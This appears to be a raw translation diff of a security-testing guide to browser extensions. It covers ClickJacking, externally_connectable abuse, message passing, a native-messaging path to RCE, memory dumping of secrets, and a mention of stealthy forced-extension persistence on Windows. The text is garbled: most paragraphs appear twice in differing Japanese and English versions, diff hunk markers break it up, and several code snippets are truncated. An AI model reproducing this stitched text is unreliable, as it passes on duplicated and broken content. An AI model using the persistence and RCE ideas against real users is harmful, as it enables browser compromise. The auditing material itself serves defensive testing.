<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**idは動的**になる可能性があります。
ただし、`manifest.json` のパラメータ **`use_dynamic_url`** が使用されている場合、この **idは動的になる可能性があります**。
> [!TIP]
> ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**から**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、それをチェックする必要があります（frame-ancestorsセクション）。
> ここでページが列挙されていても、**Content Security Policy** によって **ClickJackingから保護されている**場合があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確定する前に（frame-ancestors セクションを含めて）確認する必要があります。
これらのページにアクセスできることは、これらのページが**潜在的にClickJackingに脆弱である**ことを意味します:
これらのページにアクセスできることは、これらのページが**潜在的にClickJackingに対して脆弱**であることを意味します：
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによっては読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。
> これらのページをランダムな URL からではなく拡張機能からのみ読み込めるようにすると、ClickJacking 攻撃を防げる可能性があります。
> [!CAUTION]
> **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。
> 拡張機能の **`web_accessible_resources`** にあるページやその他のページは、**contacting background scripts（background scripts に接触する）** こともできる点に注意してください。したがって、これらのページのいずれかが **XSS** に脆弱であれば、より大きな脆弱性を招く可能性があります。
>
> さらに、**`web_accessible_resources`**に示されたページはiframe内でのみ開くことができますが、新しいタブからは拡張機能IDを知っていれば拡張機能内の任意のページにアクセスすることが可能です。したがって、同じパラメータを悪用するXSSが見つかった場合、ページが**`web_accessible_resources`**に設定されていなくても悪用される可能性があります。
> さらに、**`web_accessible_resources`** に示されたページのみが iframe 内で開けることに注意してください。しかし、新しいタブからは拡張機能 ID が分かれば拡張機能内の任意のページへアクセスすることが可能です。したがって、同じパラメータを悪用する XSS が見つかった場合、そのページが **`web_accessible_resources`** に設定されていなくても悪用され得ます。
### `externally_connectable`
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。これは[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して行われます。
ドキュメント（[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)）によると、manifest プロパティ `"externally_connectable"` は [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) および [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) を介して、**どの拡張機能やウェブページが接続できるか** を宣言します。
- **`externally_connectable`**キーが拡張機能のマニフェストに**宣言されていない**場合、または**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、ウェブページは接続できません**。
- **特定のIDが指定されている**場合、例えば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**そのアプリケーションのみ**が接続できます。
- **matches**が指定されている場合、それらのウェブアプリは接続できるようになります：
- 拡張機能の manifest に **`externally_connectable`** キーが **宣言されていない** か、**`"ids": ["*"]`** のように宣言されている場合、**すべての拡張機能が接続できるが、ウェブページは接続できない**。
- 特定の ID が指定されている場合（例: `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`）、**それらのアプリケーションのみ**が接続できます。
- **matches** が指定されている場合、それらのウェブアプリが接続できるようになります：
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- 空で指定されている場合: **`"externally_connectable": {}`**、アプリやウェブは接続できません。
- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
ここで示されている**拡張機能とURL**が少ないほど、**攻撃面は小さく**なります。
**ここに指定される拡張機能やURLが少なければ少ないほど、攻撃対象面は小さくなります。**
> [!CAUTION]
> **`externally_connectable`**に**XSSまたはテイクオーバーに脆弱な**ウェブページが示されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**でき、Content ScriptとそのCSPを完全にバイパスできます。
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
>
> したがって、これは**非常に強力なバイパス**です。
> Therefore, this is a **very powerful bypass**.
>
> さらに、クライアントが不正な拡張機能をインストールした場合、たとえ脆弱な拡張機能との通信が許可されていなくても、**許可されたウェブページにXSSデータを注入**したり、**`WebRequest`**や**`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの**JavaScriptファイル**のリクエストを変更することができます。（ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください）。このアイデアは[**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)来ています。
> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## コミュニケーションの概要
## 通信の概要
### 拡張機能 <--> WebApp
### Extension <--> WebApp
コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常、**`window.postMessage`**関数への呼び出しが見られ、コンテンツスクリプトでは**`window.addEventListener`**のようなリスナーが見られます。ただし、拡張機能は**ポストメッセージを送信してウェブアプリケーションと通信**することもでき（したがってウェブはそれを期待する必要があります）、単にウェブに新しいスクリプトを読み込ませることもできます。
content script と web ページ間の通信には通常 post messages が使われます。したがって、web アプリケーション側では通常 **`window.postMessage`** への呼び出しが見られ、content script 側では **`window.addEventListener`** のようなリスナーが見られます。ただし、extension が web アプリケーションに対して Post Message を送る（そのため web 側はそれを予期する必要がある）か、単に web に新しいスクリプトを読み込ませることもあり得ます。
### 拡張機能内
### Inside the extension
通常、**`chrome.runtime.sendMessage`**関数が拡張機能内でメッセージを送信するために使用され（通常は`background`スクリプトによって処理されます）、それを受信して処理するためにリスナーが**`chrome.runtime.onMessage.addListener`**を呼び出して宣言されます。
通常、拡張内でメッセージを送るには **`chrome.runtime.sendMessage`** が使われ（通常は `background` script で処理される）、受け取って処理するためには **`chrome.runtime.onMessage.addListener`** を呼んでリスナーを登録します。
**`chrome.runtime.connect()`**を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように**メッセージを送信**および**受信**するために使用できます。
単発のメッセージ送信の代わりに **`chrome.runtime.connect()`** を使って持続的な接続を作ることも可能で、以下の例のように **メッセージを送受信** するために使えます。
<details>
<summary><code>chrome.runtime.connect()</code>の例</summary>
<summary><code>chrome.runtime.connect()</code> example</summary>
```javascript
var port = chrome.runtime.connect()
@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す際にメッセージを送信する**タブのID**を指定する必要があります。
バックグラウンドスクリプトから特定のタブにあるコンテンツスクリプトへメッセージを送信することも可能で、その際は **`chrome.tabs.sendMessage`** を呼び出し、メッセージ送信先の **タブのID** を指定する必要があります。
### 許可された `externally_connectable` から拡張機能へ
`externally_connectable` 設定で許可された**Webアプリと外部ブラウザ拡張機能**は、次のようにリクエストを送信できます:
**`externally_connectable` 設定で許可された Webアプリと外部のブラウザ拡張機能は、次の方法でリクエストを送信できます :**
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
**拡張ID**を言及する必要がある場所。
必要に応じて**extension ID**を記載する。
### ネイティブメッセージング
### Native Messaging
バックグラウンドスクリプトがシステム内のバイナリと通信することが可能であり、この通信が適切に保護されていない場合、**RCEなどの重大な脆弱性にさらされる可能性があります**。[この後で詳しく説明します](#native-messaging)。
バックグラウンドスクリプトはシステム内のバイナリと通信することが可能であり、この通信が適切に保護されていない場合、**RCEs のような重大な脆弱性を招く可能性があります**。 [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -413,7 +416,7 @@ console.log("Received " + response)
```
## Web **↔︎** Content Script Communication
**content scripts**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**Document Object Model (DOM)**という共有リソースと相互作用する能力を持っています。ホストページが**content script**と通信するため、またはcontent scriptを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
**content scripts** が動作する環境とホストページが存在する環境は互いに**分離**されており、**隔離**が確保されています。とはいえ、この隔離状態でも両者は共有リソースである **Document Object Model (DOM)** に対して操作を行うことができます。ホストページが **content script** と通信する、または content script を介して拡張機能と間接的に通信するには、両者が利用できる **DOM** を通信チャネルとして使用する必要があります。
### Post Messages
```javascript:content-script.js
@ -450,15 +453,16 @@ window.postMessage(
false
)
```
安全なPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下を確認することで行えます：
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。
- コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。
- **origin domain**: メッセージを期待するのは、許可リストにあるドメインのみです。
- 正規表現が使用される場合は、非常に注意が必要です。
- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかを確認できます。
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
- The content script might expecting a message only if the user performs some action
- **origin domain**: might expecting a message only allowlist of domains.
- If a regex is used, be very careful
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
前述のチェックは、実施されていても脆弱である可能性があるため、次のページで**潜在的なPost Messageバイパス**を確認してください：
{{#ref}}
../postmessage-vulnerabilities/
@ -466,7 +470,8 @@ false
### Iframe
別の通信方法として**Iframe URLs**を通じて行うことが考えられます。例は以下にあります：
Another possible way of communication might be through **Iframe URLs**, you can find an example in:
{{#ref}}
browext-xss-example.md
@ -474,21 +479,22 @@ browext-xss-example.md
### DOM
これは「正確には」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブがこのデータを**変更する可能性があります**（ウェブは信頼されるべきではないため、またはウェブがXSSに対して脆弱であるため）し、**コンテンツスクリプトを危険にさらす**ことになります。
This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**.
You can also find an example of a **DOM based XSS to compromise a browser extension** in:
**DOMベースのXSSを使用してブラウザ拡張を危険にさらす**例も以下にあります：
{{#ref}}
browext-xss-example.md
{{#endref}}
## コンテンツスクリプト **↔︎** バックグラウンドスクリプト通信
## Content Script **↔︎** Background Script Communication
コンテンツスクリプトは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage)を使用して、**一度きりのJSONシリアライズ可能な**メッセージを送信できます。
A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
**レスポンス**を処理するには、返された**Promise**を使用します。ただし、後方互換性のために、最後の引数として**コールバック**を渡すこともできます。
To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument.
**コンテンツスクリプト**からリクエストを送信するのは次のようになります：
Sending a request from a **content script** looks like this:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -496,7 +502,8 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
**拡張機能**からリクエストを送信します（通常は**バックグラウンドスクリプト**）。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例：
リクエストを**extension**（通常は**background script**）から送信する。
選択したタブ内のcontent scriptにメッセージを送信する例：
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -509,7 +516,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
受信側では、メッセージを処理するために [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー** を設定する必要があります。これは、コンテンツスクリプトまたは拡張ページから見ると同じように見えます。
**受信側**では、メッセージを処理するために [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) の **イベントリスナー** を設定する必要があります。これは content script や extension page からでも同じです。
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +528,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
例で強調されたように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` の非同期実行のために `onMessage` イベントハンドラーを修正するには、`return true;` を組み込むことが不可欠です。
前の例では、**`sendResponse()`** は同期的に実行されていました。`onMessage` イベントハンドラを `sendResponse()` を非同期で実行するよう変更するには、`return true;` を必ず含める必要があります。
重要な考慮事項は、複数のページが `onMessage` イベントを受信するように設定されているシナリオでは、**特定のイベントに対して `sendResponse()`** を最初に実行したページだけが、効果的に応答を提供できるということです。同じイベントに対するその後の応答は考慮されません。
重要な点として、複数のページが `onMessage` イベントを受け取る設定になっている場合、**特定のイベントに対して最初に `sendResponse()` を実行したページ** のみがレスポンスを有効に返すことができます。同じイベントに対するそれ以降のレスポンスは無視されます。
新しい拡張機能を作成する際は、コールバックよりもプロミスを優先すべきです。コールバックの使用に関しては、`sendResponse()` 関数は、同期コンテキスト内で直接実行される場合、またはイベントハンドラーが `true` を返すことによって非同期操作を示す場合にのみ有効と見なされます。どのハンドラーも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除された場合（ガーベジコレクションされた場合）、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。
新しい拡張機能を作成する際は、callbacks より promises を使うことを推奨します。callback を使う場合、`sendResponse()` は同期コンテキスト内で直接実行された場合、またはイベントハンドラが `true` を返して非同期処理を示している場合にのみ有効と見なされます。どのハンドラも `true` を返さない、あるいは `sendResponse()` がメモリから解放（ガベージコレクション）されると、`sendMessage()` に渡した callback はデフォルトで呼び出されます。
## ネイティブメッセージング
## Native Messaging
ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json を示す json をインストールする必要があります:
ブラウザ拡張は、**binaries in the system via stdin** と通信することもできます。アプリケーションはその旨を示す json をインストールする必要があり、以下のような json を配置します：
```json
{
"name": "com.my_company.my_application",
@ -539,14 +546,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
`name` は [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) に渡される文字列で、ブラウザ拡張のバックグラウンドスクリプトからアプリケーションと通信するために使用されます。`path` はバイナリへのパスで、1つの有効な `type` は stdio（stdin と stdout を使用）であり、`allowed_origins` はアクセスできる拡張機能を示します（ワイルドカードは使用できません）。
`name` は、ブラウザ拡張の background scripts からアプリケーションと通信するために [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) に渡される文字列です。`path` はバイナリへのパスで、`type` は有効な値が 1 つだけで stdio（stdin と stdout を使用）です。`allowed_origins` はアクセスできる拡張機能を示し（ワイルドカードは使用できません）。
Chrome/Chromium は、この JSON をいくつかの Windows レジストリや macOS および Linux のいくつかのパスで検索します（詳細は [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) を参照）。
Chrome/Chromium はこの json を Windows registry や macOS および Linux のいくつかのパスで検索します（詳細は [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) を参照）。
> [!TIP]
> ブラウザ拡張は、この通信を使用できるようにするために `nativeMessaing` 権限を宣言する必要があります。
> ブラウザ拡張でも、この通信を利用するために `nativeMessaing` permission を宣言しておく必要があります。
これは、ネイティブアプリケーションにメッセージを送信するバックグラウンドスクリプトコードの例です：
以下は、background script が native application にメッセージを送るコードの例です：
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -556,144 +563,152 @@ console.log("Received " + response)
}
)
```
[**このブログ投稿**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)では、ネイティブメッセージを悪用する脆弱なパターンが提案されています：
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/)、native messagesを悪用する脆弱なパターンが提案されています:
1. ブラウザ拡張機能はコンテンツスクリプトのためのワイルドカードパターンを持っています。
2. コンテンツスクリプトは`sendMessage`を使用してバックグラウンドスクリプトに`postMessage`メッセージを渡します。
3. バックグラウンドスクリプトは`sendNativeMessage`を使用してネイティブアプリケーションにメッセージを渡します。
4. ネイティブアプリケーションはメッセージを危険に扱い、コード実行につながります。
1. Browser extensionがcontent script用にワイルドカードパターンを持っている。
2. Content scriptが`postMessage`メッセージを`sendMessage`を使ってbackground scriptに渡す。
3. Background scriptがそのメッセージを`sendNativeMessage`を使ってnative applicationに渡す。
4. Native applicationがメッセージを危険に処理し、コード実行につながる。
その中で、**ブラウザ拡張機能を悪用して任意のページからRCEに移行する例が説明されています**。
そして、その中で **任意のページからbrowser extensionを悪用してRCEに至る例が説明されています**。
## メモリ/コード/クリップボード内の機密情報
## Sensitive Information in Memory/Code/Clipboard
ブラウザ拡張機能が**メモリ内に機密情報を保存している場合**、これは**ダンプ**され（特にWindowsマシンで）、この情報が**検索**される可能性があります。
もし Browser Extension が **機密情報をメモリ内に保存している** と、（特に Windows マシンでは）それが **ダンプ** され、その情報を **検索** される可能性があります。
したがって、ブラウザ拡張機能のメモリは**安全とは見なされるべきではなく**、**機密情報**（資格情報やニーモニックフレーズなど）は**保存されるべきではありません**。
したがって、Browser Extension のメモリは **安全とは見なされない** ため、credentials や mnemonic phrases のような **機密情報** を **保存すべきではない**。
もちろん、**コード内に機密情報を置かないでください**、それは**公開**されることになります。
もちろん、コードに機密情報を入れないでください。そうするとそれは **public** になります。
ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
ブラウザからメモリをダンプするには、**プロセスのメモリをダンプ** するか、ブラウザ拡張の **settings** に行き **`Inspect pop-up`** をクリック -> **`Memory`** セクション -> **`Take a snaphost`** -> **`CTRL+F`** でスナップショット内を検索して機密情報を探すことができます。
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**（または少なくとも数秒以内にクリップボードから削除するべきです）なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。
さらに、mnemonic keys やパスワードのような高度に機密性の高い情報は **クリップボードにコピーできないようにすべき**（少なくとも数秒後にクリップボードから削除する）です。さもないとクリップボードを監視するプロセスがそれらを取得できてしまいます。
## ブラウザに拡張機能を読み込む
## Loading an Extension in the Browser
1. **ブラウザ拡張機能をダウンロード**し、解凍します。
2. **`chrome://extensions/`**に移動し、`Developer Mode`を**有効にします**。
3. **`Load unpacked`**ボタンをクリックします。
1. **Download** the Browser Extension & unzipped
2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode`
3. Click the **`Load unpacked`** button
**Firefox**では、**`about:debugging#/runtime/this-firefox`**に移動し、**`Load Temporary Add-on`**ボタンをクリックします。
In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button.
## ストアからソースコードを取得する
## Getting the source code from the store
Chrome拡張機能のソースコードは、さまざまな方法で取得できます。以下は各オプションの詳細な説明と手順です。
The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option.
### コマンドラインを使用してZIPとして拡張機能をダウンロード
### Download Extension as ZIP via Command Line
Chrome拡張機能のソースコードは、コマンドラインを使用してZIPファイルとしてダウンロードできます。これは、`curl`を使用して特定のURLからZIPファイルを取得し、その後ZIPファイルの内容をディレクトリに抽出することを含みます。手順は以下の通りです：
The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps:
1. `"extension_id"`を拡張機能の実際のIDに置き換えます。
2. 次のコマンドを実行します：
1. Replace `"extension_id"` with the actual ID of the extension.
2. Execute the following commands:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### CRX Viewerウェブサイトを使用する
### CRX Viewer ウェブサイトを使用する
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### CRX Viewer拡張機能を使用する
### CRX Viewer 拡張機能を使用する
もう一つの便利な方法は、オープンソースプロジェクトであるChrome Extension Source Viewerを使用することです。これは[Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)からインストールできます。ビューワーのソースコードはその[GitHubリポジトリ](https://github.com/Rob--W/crxviewer)で入手可能です。
もう1つの便利な方法は、Chrome Extension Source Viewer を使うことです。これはオープンソースプロジェクトで、[Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en) からインストールできます。ビューワーのソースコードはその [GitHub repository](https://github.com/Rob--W/crxviewer) で入手可能です。
### ローカルにインストールされた拡張機能のソースを表示する
ローカルにインストールされたChrome拡張機能も検査できます。方法は以下の通りです：
Chrome にローカルにインストールされた拡張機能も調べることができます。方法は次のとおりです。
1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけて、Chromeのローカルプロファイルディレクトリに移動します。
2. プロファイルディレクトリ内の`Extensions/`サブフォルダに移動します。
3. このフォルダには、通常は読みやすい形式のソースコードを持つすべてのインストールされた拡張機能が含まれています。
1. `chrome://version/` にアクセスし、"Profile Path" フィールドを確認して Chrome のローカルプロファイルディレクトリにアクセスします。
2. プロファイルディレクトリ内の `Extensions/` サブフォルダに移動します。
3. このフォルダには、通常読みやすい形式でソースコードを含むすべてのインストール済み拡張機能が格納されています。
拡張機能を特定するには、IDを名前にマッピングできます：
拡張機能を特定するには、ID を名前にマッピングできます:
- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを確認します。
- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドが含まれています。
- `about:extensions` ページで Developer Mode を有効にして、各拡張機能の ID を確認します。
- 各拡張機能のフォルダ内にある `manifest.json` ファイルには読みやすい `name` フィールドが含まれており、拡張機能の特定に役立ちます。
### ファイルアーカイバまたはアンパッカーを使用する
### ファイルアーカイバまたはアンパッカを使用する
Chrome Web Storeに行き、拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバ（WinRAR、7-Zipなど）を使用してZIPファイルの内容を抽出します。
Chrome Web Store にアクセスして拡張機能をダウンロードします。ファイルは `.crx` 拡張子になります。ファイル拡張子を `.crx` から `.zip` に変更します。WinRAR、7-Zip など任意のファイルアーカイバを使って ZIP の中身を展開してください。
### Chromeで開発者モードを使用する
### Chrome で Developer Mode を使用する
Chromeを開き、`chrome://extensions/`に移動します。右上で「開発者モード」を有効にします。「未パッケージの拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および変更するのに便利です。
Chrome を開き、`chrome://extensions/` に移動します。右上で "Developer mode" を有効にします。"Load unpacked extension..." をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするわけではありませんが、既にダウンロード済みまたは開発中の拡張機能のコードを表示・編集するのに便利です。
## Chrome拡張機能マニフェストデータセット
## Chrome extension manifest dataset
脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用して、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するには：
脆弱なブラウザ拡張機能を見つけようとする場合、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) を使い、その manifest ファイルを潜在的に脆弱な箇所についてチェックできます。たとえば、ユーザー数が 25000 を超え、`content_scripts` を持ち、パーミッションに `nativeMessaing` が含まれる拡張機能をチェックするには:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## セキュリティ監査チェックリスト
## Post-exploitation: Forced extension load & persistence (Windows)
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです：
Chromium をユーザごとの Preferences を直接編集し、正当な HMACs を偽造してバックドア化するステルス技法。これにより、ブラウザはプロンプトやフラグなしで任意の unpacked extension を受け入れて有効化します。
- [ ] **要求される** **`permissions`** を可能な限り制限する
- [ ] **`host_permissions`** を可能な限り制限する
- [ ] **強力な** **`content_security_policy`** を使用する
- [ ] **`externally_connectable`** を可能な限り制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する
- [ ] ここに**XSSまたは乗っ取りに脆弱なURL**が記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。
- [ ] **`web_accessible_resources`** を可能な限り制限する。可能であれば空にする。
- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する
- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。
- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/index.html)**を確認する。**
- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**ことで**XSSを導入していないか**確認する
- [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する
- [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
- [ ] **機密情報は**ブラウザ拡張機能の**メモリ内に保存すべきではない**
- [ ] **機密情報は****ファイルシステムに無防備に保存すべきではない**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## ブラウザ拡張機能のリスク
## Security Audit Checklist
- アプリ [https://crxaminer.tech/](https://crxaminer.tech/) は、ブラウザ拡張機能が要求する権限などのデータを分析し、ブラウザ拡張機能の使用リスクレベルを提供します。
ブラウザ拡張機能は攻撃対象が比較的限定されているものの、一部には脆弱性やハードニングの余地が存在します。以下は最も一般的なチェック項目です:
## ツール
- [ ] **Limit** as much as possible requested **`permissions`**
- [ ] **Limit** as much as possible **`host_permissions`**
- [ ] Use a **strong** **`content_security_policy`**
- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`**
- [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass.
- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible.
- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md)
- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication.
- [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web
- [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication**
- [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code**
- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory**
- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected**
## Browser Extension Risks
